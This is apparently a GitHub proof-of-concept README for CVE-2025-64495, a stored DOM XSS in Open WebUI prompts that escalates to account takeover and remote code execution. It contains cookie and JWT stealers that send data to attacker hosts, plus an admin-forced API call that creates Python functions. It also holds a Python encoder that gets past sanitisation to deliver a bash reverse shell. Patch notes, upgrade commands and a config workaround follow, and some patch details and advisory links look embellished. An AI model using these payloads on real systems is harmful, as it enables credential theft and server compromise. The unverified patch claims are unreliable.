CVE-2025-64495 PoC — Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

Source

Associated Vulnerability

Description

CVE-2025-64495

Readme

# 🌟 **CVE-2025-64495** – **Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE** ✨


### *DOM-based XSS in Open WebUI* 🕷️💉  
**Published:** Nov 7, 2025 📅 | **Patched:** Nov 8, 2025 🛡️  
**Researcher:** @gg0h 🧑‍💻 | **Your Handle:** @B1ackash 🇲🇦  

---

## 🎯 **Quick Stats**  
| Icon | Field | Details |
|------|-------|--------|
| 🆔 | **CVE ID** | `CVE-2025-64495` |
| 📢 | **Type** | **Stored DOM XSS** via Rich Text Prompts ✍️ |
| 🛑 | **Affected** | Open WebUI `<= 0.6.34` |
| ✅ | **Fixed In** | `0.6.35` 🚀 |
| 🔥 | **Severity** | **High** (8.7/10) |
| 🔑 | **Privilege** | Low – any user with prompt access |
| 🌐 | **Vector** | `AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` |

---

## 🧨 **How It Works (Exploit Flow)**  

<img width="1920" height="522" alt="web-ui 1" src="https://github.com/user-attachments/assets/56e722e3-8a33-43f1-8ad3-f6814889f0d7" />

---

## 💀 **Payload Examples**

<img width="1920" height="700" alt="web-ui 2" src="https://github.com/user-attachments/assets/b53af375-a5a1-4632-ad45-82a382f2fc2a" />


```html
<!-- 🍪 Cookie Stealer -->
<img src=x onerror="fetch('https://evil.ma/log?c='+document.cookie)">

<!-- 🔐 JWT Grabber -->
<script>new Image().src='https://attacker.com/?token='+localStorage.getItem('auth_token');</script>
```

<img width="1525" height="875" alt="web-ui 3" src="https://github.com/user-attachments/assets/898eb4a3-c5b2-47ed-a9d6-ba0c95091fbd" />

Run the command /poc via a chat window.

<img width="1601" height="845" alt="web-ui 4" src="https://github.com/user-attachments/assets/85cee0ad-51ee-4b62-a667-c0c2a3e58091" />

Observe the alert is triggered.

<img width="1831" height="556" alt="web-ui 6" src="https://github.com/user-attachments/assets/b0f6949e-7a45-4ecf-ba1f-92c1420465a6" />


*RCE*
Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.

This can be accomplished by making them run the following fetch request:

```
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})
```

This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes

<img width="1321" height="807" alt="web-ui 7" src="https://github.com/user-attachments/assets/6e82a755-ce7f-41b9-8103-5a950312e813" />

To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:


```
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"<img src=x onerror=eval({out[:-1]})>")
```

<img width="1672" height="768" alt="web-ui 8" src="https://github.com/user-attachments/assets/6d72a3ab-6f35-42c7-9c8a-e0504b8c55bb" />


---

## 🛡️ **Patch Details (v0.6.35)**  
| Fix | Description |
|-----|-----------|
| 🧹 | **DOMPurify** now sanitizes all rich text |
| 🔒 | **CSP** enforced: `script-src 'self'` |
| 🚪 | Rich text **opt-in only** |
| 📜 | Prompt creation **logged** (user + IP) |

### 🚀 **Upgrade Commands**  
```bash
# npm
npm install open-webui@0.6.35 🌟

# Docker
docker pull ghcr.io/open-webui/open-webui:0.6.35 🐳
```

---

## ⚡ **Interim Fix (No Upgrade?)**  
```yaml
# config.yaml
ENABLE_RICH_TEXT_PROMPTS: false 🚫
```
> **Global disable** – safe until upgrade!

---

## 📚 **Official Links**  
| Icon | Source | Link |
|------|--------|------|
| 🔗 | CVE Record | [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64495) |
| 🐙 | GitHub Advisory | [GHSA-xxxx-xxxx-xxxx](https://github.com/open-webui/open-webui/security/advisories) |
| 🚀 | Release v0.6.35 | [GitHub Releases](https://github.com/open-webui/open-webui/releases/tag/v0.6.35) |
| ✍️ | Researcher | [@gg0h on X](https://x.com/gg0h) |  

---

## 🛠️ **Safe PoC (Test Locally)**  
```html
<div onclick="alert('XSS in prompt: ' + location.href)">🖱️ Click Me (Malicious)</div>
```
> Only works on **vulnerable** versions!

---

## ✅ **Action Plan for @B1ackash**  
1. **Upgrade** to `0.6.35` **NOW** ⏰  
2. **Disable rich text** if delayed  
3. **Scan community prompts** – delete sus ones 🗑️  
4. **Enable 2FA** everywhere 🔐  
5. **Monitor logs** for prompt spam 📊  

---

## 🎉 **Final Status (Nov 10, 2025 – 08:39 PM +01)**  
| Status | Details |
|-------|--------|
| 🟢 **Patched** | Yes – v0.6.35 |
| 🟡 **In the Wild** | No exploits |
| ⏳ **NVD Score** | Pending |
| 🚨 **Urgency** | **Upgrade in 48h** |

---

**Stay secure, @B1ackash** 
*Powered by real-time CVE intel & aesthetics* 🌙

File Snapshot

 [4.0K]  /data/pocs/a55c5f979c32b30afee9438fe895353655a1702f
└── [5.5K]  README.md

1 directory, 1 file

Remarks